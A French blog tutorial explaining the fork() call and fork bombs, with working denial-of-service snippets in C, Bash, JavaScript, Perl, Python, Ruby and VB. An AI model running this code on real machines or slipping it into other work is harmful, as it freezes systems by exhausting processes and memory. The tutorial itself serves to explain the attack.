Fork bomb : la réplication infinie des processus au service du DoS

Comment ralentir ou stopper une machine en saturant la liste des processus ?

14 mars 2011

Qu'est ce qu'un fork ? Pour répondre à cette question on ouvre notre terminal préféré et on tape "man fork".

Résultat en français :

Synopsis

Prototype de la fonction fork en C

	#include <unistd.h>

	pid_t fork(void);
	

Description

fork crée un processus fils qui diffère du processus parent uniquement par ses valeurs PID et PPID et par le fait que toutes les statistiques d'utilisation des ressources sont remises à zéro. Les verrouillages de fichiers, et les signaux en attente ne sont pas hérités.


La fork bomb est une attaque par déni de service utilisant la fonction fork ou tout du moins une fonction ayant le même comportement. La fork bomb est un bout de code auto-répliquant (un wabbit) qui, une fois lancé sur un système, peut totalement le paralyser en s'attribuant la totalité de la mémoire, du temps processeur et la table de processus; il devient alors impossible pour un autre processus de prendre la main, y comprit celui que vous voudriez utiliser pour éteindre la bombe .

Il existe de nombreuses façons de développer une fork bomb dans de nombreux langages. Actuellement tous les systèmes basés sur UNIX ont des protections contre les fork bomb, mais je peux vous assurer que certaines d'entre elles peuvent quand même vous pourrir un système, c'est d'ailleurs après en avoir apprécié les joies que j'ai eu l'idée d'écrire ce tutoriel.

Place aux exemples :

Langage C

	#include <unistd.h>
 
	int main(void)
	{
  	while (1)
	 { 
    	fork(); 
  	 } 
  	return (0); 
	 }
	

Bash : Supprimez les espaces entre les caractères

	: ( ) {  : | : &  } ; :
	

Javascript

	function open_target_blank() 
	{
   	 window.open(window.location);
  	}
   	window.onload = open_target_blank();

	OU

	while (true)
	{
	var w = window.open();
	w.document.write(document.documentElement.outerHTML || document.documentElement.innerHTML);
	}
	

Perl

	fork while fork
	

Python

	import os
 
	while True:
	os.fork()
	

Ruby

	loop { fork }
	

VB

	Private Sub Main()
  	Do
    	Shell App.EXEName
 	Loop
	End Sub
	
Par
Créateur et administrateur.

Dans la même catégorie

SSH : Comment interdire l'authentification par mot de passe ?
SSH : les principes et l'authentification par cryptographie asymétrique
Yes : la commande qui vous veut du mal

Commentaire(s)